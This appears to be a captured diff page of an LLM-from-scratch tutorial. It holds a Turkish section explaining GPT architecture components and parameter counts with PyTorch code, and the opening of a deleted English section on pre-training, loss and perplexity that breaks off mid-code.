2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, bir **token gömme** katmanı ve bir **pozisyon gömme katmanı** aracılığıyla geçirilir; bu, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalar.
3. **Transformer Blokları**: Model, her biri birden fazla katmana sahip **12 transformer bloğu** içerir. Bu bloklar aşağıdaki diziyi tekrarlar:
- **Masked Multi-Head Attention**: Modelin girdi metninin farklı kısımlarına aynı anda odaklanmasına olanak tanır.
- **Katman Normalizasyonu**: Eğitimi stabilize etmek ve geliştirmek için bir normalizasyon adımı.
- **İleri Besleme Katmanı**: Dikkat katmanından gelen bilgileri işlemek ve bir sonraki token hakkında tahminlerde bulunmakla sorumludur.
- **Dropout Katmanları**: Bu katmanlar, eğitim sırasında birimlerin rastgele düşürülmesiyle aşırı uyumu önler.
4. **Son Çıktı Katmanı**: Model, **50,257 boyutlu 4x50,257**'lik bir tensör çıktısı verir; burada **50,257** kelime dağarcığının boyutunu temsil eder. Bu tensördeki her bir satır, modelin dizideki bir sonraki kelimeyi tahmin etmek için kullandığı bir vektöre karşılık gelir.
5. **Amaç**: Amaç, bu gömmeleri alıp tekrar metne dönüştürmektir. Özellikle, çıktının son satırı, bu diyagramda "ileri" olarak temsil edilen bir sonraki kelimeyi oluşturmak için kullanılır.
### Kod temsili
```python
import torch
import torch.nn as nn
import tiktoken
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(
cfg["emb_dim"], cfg["vocab_size"], bias=False
)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
out = model(batch)
print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **GELU Aktivasyon Fonksiyonu**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
```
#### **Amaç ve İşlevsellik**
- **GELU (Gaussian Error Linear Unit):** Modele doğrusal olmayanlık katan bir aktivasyon fonksiyonu.
- **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU girdileri düzgün bir şekilde çıktılara haritalar, negatif girdiler için küçük, sıfırdan farklı değerler almasına izin verir.
- **Matematiksel Tanım:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> FeedForward katmanındaki doğrusal katmanlardan sonra bu fonksiyonun kullanılmasının amacı, modelin karmaşık, doğrusal olmayan ilişkileri öğrenebilmesi için doğrusal verileri doğrusal olmayan hale getirmektir.
### **FeedForward Sinir Ağı**
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Amaç ve İşlevsellik**
- **Pozisyon Bazlı FeedForward Ağı:** Her pozisyona ayrı ve benzer şekilde iki katmanlı tam bağlı bir ağ uygular.
- **Katman Detayları:**
- **İlk Lineer Katman:** Boyutları `emb_dim`'den `4 * emb_dim`'ye genişletir.
- **GELU Aktivasyonu:** Doğrusal olmayanlık uygular.
- **İkinci Lineer Katman:** Boyutları tekrar `emb_dim`'ye düşürür.
> [!NOTE]
> Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak lineer bir katmandır ve bu, model içinde eğitilecek lineer ağırlıkları (parametreleri) kullanır. Ardından, daha zengin temsilleri yakalamak için tüm bu boyutlarda doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır.
### **Çoklu Başlı Dikkat Mekanizması**
Bu daha önceki bir bölümde açıklandı.
#### **Amaç ve İşlevsellik**
- **Çoklu Başlı Kendine Dikkat:** Modelin bir token'ı kodlarken girdi dizisi içindeki farklı pozisyonlara odaklanmasına olanak tanır.
- **Ana Bileşenler:**
- **Sorgular, Anahtarlar, Değerler:** Girdinin lineer projeksiyonları, dikkat puanlarını hesaplamak için kullanılır.
- **Başlar:** Paralel çalışan birden fazla dikkat mekanizması (`num_heads`), her biri azaltılmış bir boyutla (`head_dim`).
- **Dikkat Puanları:** Sorgular ve anahtarların nokta çarpımı olarak hesaplanır, ölçeklendirilir ve maske uygulanır.
- **Maskeleme:** Gelecek token'lara dikkat edilmesini önlemek için nedensel bir maske uygulanır (GPT gibi otoregresif modeller için önemlidir).
- **Dikkat Ağırlıkları:** Maskelenmiş ve ölçeklendirilmiş dikkat puanlarının softmax'ı.
- **Bağlam Vektörü:** Dikkat ağırlıklarına göre değerlerin ağırlıklı toplamı.
- **Çıktı Projeksiyonu:** Tüm başların çıktısını birleştirmek için lineer katman.
> [!NOTE]
> Bu ağın amacı, aynı bağlamdaki token'lar arasındaki ilişkileri bulmaktır. Ayrıca, aşırı uyumu önlemek için token'lar farklı başlara bölünmüştür, ancak her başta bulunan nihai ilişkiler bu ağın sonunda birleştirilir.
>
> Ayrıca, eğitim sırasında **nedensel bir maske** uygulanır, böylece belirli bir token'a bakarken sonraki token'lar dikkate alınmaz ve **aşırı uyumu önlemek** için bazı **dropout** uygulanır.
### **Katman** Normalizasyon
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5 # Prevent division by zero during normalization.
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
```
#### **Amaç ve İşlevsellik**
- **Katman Normalizasyonu:** Bir partideki her bireysel örnek için özellikler (gömme boyutları) boyunca girişleri normalleştirmek için kullanılan bir teknik.
- **Bileşenler:**
- **`eps`:** Normalizasyon sırasında sıfıra bölmeyi önlemek için varyansa eklenen küçük bir sabit (`1e-5`).
- **`scale` ve `shift`:** Normalleştirilmiş çıktıyı ölçeklendirmek ve kaydırmak için modelin kullanabileceği öğrenilebilir parametreler (`nn.Parameter`). Sırasıyla birler ve sıfırlar ile başlatılırlar.
- **Normalizasyon Süreci:**
- **Ortalama Hesaplama (`mean`):** Gömme boyutu boyunca giriş `x`'in ortalamasını hesaplar (`dim=-1`), yayılma için boyutu korur (`keepdim=True`).
- **Varyans Hesaplama (`var`):** Gömme boyutu boyunca `x`'in varyansını hesaplar, boyutu da korur. `unbiased=False` parametresi, varyansın yanlı tahminci kullanılarak hesaplanmasını sağlar (örneğin `N` yerine `N-1` ile bölme), bu da örnekler yerine özellikler üzerinde normalleştirme yaparken uygundur.
- **Normalleştirme (`norm_x`):** `x`'ten ortalamayı çıkarır ve varyansın karekökü artı `eps` ile böler.
- **Ölçek ve Kaydır:** Normalleştirilmiş çıktıya öğrenilebilir `scale` ve `shift` parametrelerini uygular.
> [!NOTE]
> Amaç, aynı token'ın tüm boyutları boyunca 0 ortalama ve 1 varyans sağlamaktır. Bunun amacı, **derin sinir ağlarının eğitimini stabilize etmek** için iç değişken kaymasını azaltmaktır; bu, eğitim sırasında parametrelerin güncellenmesi nedeniyle ağ aktivasyonlarının dağılımındaki değişimi ifade eder.
### **Transformer Bloğu**
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"]
)
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for attention block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for feedforward block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Amaç ve İşlevsellik**
- **Katmanların Bileşimi:** Çok başlı dikkat, ileri besleme ağı, katman normalizasyonu ve artımlı bağlantıları birleştirir.
- **Katman Normalizasyonu:** Dikkat ve ileri besleme katmanlarından önce uygulanır, böylece eğitim istikrarlı olur.
- **Artımlı Bağlantılar (Kısa Yollar):** Bir katmanın girişini çıkışına ekleyerek gradyan akışını iyileştirir ve derin ağların eğitimini mümkün kılar.
- **Dropout:** Düzenleme için dikkat ve ileri besleme katmanlarından sonra uygulanır.
#### **Adım Adım İşlevsellik**
1. **İlk Artımlı Yol (Kendi Dikkati):**
- **Giriş (`shortcut`):** Artımlı bağlantı için orijinal girişi kaydedin.
- **Katman Normu (`norm1`):** Girişi normalleştir.
- **Çok Başlı Dikkat (`att`):** Kendi dikkati uygula.
- **Dropout (`drop_shortcut`):** Düzenleme için dropout uygula.
- **Artımlı Ekle (`x + shortcut`):** Orijinal girişle birleştir.
2. **İkinci Artımlı Yol (İleri Besleme):**
- **Giriş (`shortcut`):** Bir sonraki artımlı bağlantı için güncellenmiş girişi kaydedin.
- **Katman Normu (`norm2`):** Girişi normalleştir.
- **İleri Besleme Ağı (`ff`):** İleri besleme dönüşümünü uygula.
- **Dropout (`drop_shortcut`):** Dropout uygula.
- **Artımlı Ekle (`x + shortcut`):** İlk artımlı yoldan gelen girişle birleştir.
> [!NOTE]
> Transformer bloğu tüm ağları bir araya getirir ve eğitim istikrarını ve sonuçlarını iyileştirmek için bazı **normalizasyon** ve **dropout** uygular.\
> Dropout'ların her ağın kullanımından sonra yapıldığını, normalizasyonun ise öncesinde uygulandığını not edin.
>
> Ayrıca, bir ağın çıkışını girişi ile **eklemeyi** içeren kısa yolları da kullanır. Bu, başlangıç katmanlarının son katmanlar kadar "çok" katkıda bulunmasını sağlayarak kaybolan gradyan sorununu önlemeye yardımcı olur.
### **GPTModel**
_Şekillerin matrislerin şekillerini daha iyi anlamak için yorum olarak eklendi:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
# shape: (vocab_size, emb_dim)
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
# shape: (context_length, emb_dim)
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
)
# Stack of TransformerBlocks
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
# shape: (emb_dim, vocab_size)
def forward(self, in_idx):
# in_idx shape: (batch_size, seq_len)
batch_size, seq_len = in_idx.shape
# Token embeddings
tok_embeds = self.tok_emb(in_idx)
# shape: (batch_size, seq_len, emb_dim)
# Positional embeddings
pos_indices = torch.arange(seq_len, device=in_idx.device)
# shape: (seq_len,)
pos_embeds = self.pos_emb(pos_indices)
# shape: (seq_len, emb_dim)
# Add token and positional embeddings
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
# x shape: (batch_size, seq_len, emb_dim)
x = self.drop_emb(x) # Dropout applied
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.trf_blocks(x) # Pass through Transformer blocks
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.final_norm(x) # Final LayerNorm
# x shape remains: (batch_size, seq_len, emb_dim)
logits = self.out_head(x) # Project to vocabulary size
# logits shape: (batch_size, seq_len, vocab_size)
return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **Amaç ve İşlevsellik**
- **Gömme Katmanları:**
- **Token Gömme (`tok_emb`):** Token indekslerini gömülere dönüştürür. Hatırlatma olarak, bunlar kelime dağarcığındaki her token'ın her boyutuna verilen ağırlıklardır.
- **Pozisyonel Gömme (`pos_emb`):** Gömülere pozisyonel bilgi ekleyerek token'ların sırasını yakalar. Hatırlatma olarak, bunlar metindeki pozisyonuna göre token'a verilen ağırlıklardır.
- **Dropout (`drop_emb`):** Gömülere düzenleme uygulamak için kullanılır.
- **Transformer Blokları (`trf_blocks`):** Gömüleri işlemek için `n_layers` transformer bloğunun yığını.
- **Son Normalizasyon (`final_norm`):** Çıktı katmanından önce katman normalizasyonu.
- **Çıktı Katmanı (`out_head`):** Son gizli durumları kelime dağarcığı boyutuna projekte ederek tahmin için logitleri üretir.
> [!NOTE]
> Bu sınıfın amacı, **bir dizideki bir sonraki token'ı tahmin etmek** için diğer bahsedilen tüm ağları kullanmaktır; bu, metin üretimi gibi görevler için temeldir.
>
> **Belirtilen kadar transformer bloğu kullanacağını** ve her transformer bloğunun bir çok başlı dikkat ağı, bir ileri besleme ağı ve birkaç normalizasyon kullandığını not edin. Yani 12 transformer bloğu kullanılıyorsa, bunu 12 ile çarpın.
>
> Ayrıca, **çıktıdan önce** bir **normalizasyon** katmanı eklenir ve sonuçları uygun boyutlarla elde etmek için sonunda bir son lineer katman uygulanır. Her son vektörün kullanılan kelime dağarcığının boyutuna sahip olduğunu not edin. Bu, kelime dağarcığındaki her olası token için bir olasılık elde etmeye çalıştığı içindir.
## Eğitilecek Parametre Sayısı
GPT yapısı tanımlandığında, eğitilecek parametre sayısını bulmak mümkündür:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
model = GPTModel(GPT_CONFIG_124M)
total_params = sum(p.numel() for p in model.parameters())
print(f"Total number of parameters: {total_params:,}")
# Total number of parameters: 163,009,536
```
### **Adım Adım Hesaplama**
#### **1. Gömme Katmanları: Token Gömme & Konum Gömme**
- **Katman:** `nn.Embedding(vocab_size, emb_dim)`
- **Parametreler:** `vocab_size * emb_dim`
```python
token_embedding_params = 50257 * 768 = 38,597,376
```
- **Katman:** `nn.Embedding(context_length, emb_dim)`
- **Parametreler:** `context_length * emb_dim`
```python
position_embedding_params = 1024 * 768 = 786,432
```
**Toplam Gömme Parametreleri**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Transformer Blokları**
12 transformer bloğu vardır, bu yüzden bir bloğun parametrelerini hesaplayacağız ve ardından 12 ile çarpacağız.
**Her Transformer Bloğu için Parametreler**
**a. Çoklu Başlı Dikkat**
- **Bileşenler:**
- **Sorgu Lineer Katmanı (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Anahtar Lineer Katmanı (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Değer Lineer Katmanı (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Çıktı Projeksiyonu (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Hesaplamalar:**
- **`W_query`, `W_key`, `W_value` için her biri:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
```
Üç böyle katman olduğu için:
```python
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
```
- **Çıktı Projeksiyonu (`out_proj`):**
```python
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **Toplam Çoklu Başlı Dikkat Parametreleri:**
```python
mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**b. İleri Besleme Ağı**
- **Bileşenler:**
- **İlk Lineer Katman:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **İkinci Lineer Katman:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Hesaplamalar:**
- **İlk Lineer Katman:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **İkinci Lineer Katman:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **Toplam İleri Besleme Parametreleri:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**c. Katman Normalizasyonları**
- **Bileşenler:**
- Her blok için iki `LayerNorm` örneği.
- Her `LayerNorm`'un `2 * emb_dim` parametresi vardır (ölçek ve kaydırma).
- **Hesaplamalar:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Her Transformer Bloğu için Toplam Parametreler**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
```
**Tüm Dönüştürücü Blokları için Toplam Parametreler**
```python
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```
#### **3. Son Katmanlar**
**a. Son Katman Normalizasyonu**
- **Parametreler:** `2 * emb_dim` (ölçek ve kaydırma)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**b. Çıktı Projeksiyon Katmanı (`out_head`)**
- **Katman:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **Parametreler:** `emb_dim * vocab_size`
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. Tüm Parametreleri Toplama**
```python
pythonCopy codetotal_params = (
embedding_params +
total_transformer_blocks_params +
final_layer_norm_params +
output_projection_params
)
total_params = (
39,383,808 +
85,026,816 +
1,536 +
38,597,376
)
total_params = 163,009,536
```
## Metin Üretimi
Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olmak, çıktının son token değerlerini almak için gereklidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır.
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) adresinden kod:
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context
for _ in range(max_new_tokens):
# Crop current context if it exceeds the supported context size
# E.g., if LLM supports only 5 tokens, and the context size is 10
# then only the last 5 tokens are used as context
idx_cond = idx[:, -context_size:]
# Get the predictions
with torch.no_grad():
logits = model(idx_cond)
# Focus only on the last time step
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
logits = logits[:, -1, :]
# Apply softmax to get probabilities
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
# Get the idx of the vocab entry with the highest probability value
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
# Append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
return idx
start_context = "Hello, I am"
encoded = tokenizer.encode(start_context)
print("encoded:", encoded)
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
print("encoded_tensor.shape:", encoded_tensor.shape)
model.eval() # disable dropout
out = generate_text_simple(
model=model,
idx=encoded_tensor,
max_new_tokens=6,
context_size=GPT_CONFIG_124M["context_length"]
)
print("Output:", out)
print("Output length:", len(out[0]))
```
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,970 +0,0 @@
# 6. Pre-training & Loading models
## Text Generation
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
> [!TIP]
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
## Text Evaluation
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base*e*) of **7.4541e-05** is approximately **-9.5042**.\
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
## Pre-Train Example
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
<details>
<summary>Previous code used here but already explained in previous sections</summary>
```python
"""
This is code explained before so it won't be exaplained
"""
import tiktoken
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True, num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
return dataloader
class MultiHeadAttention(nn.Module):
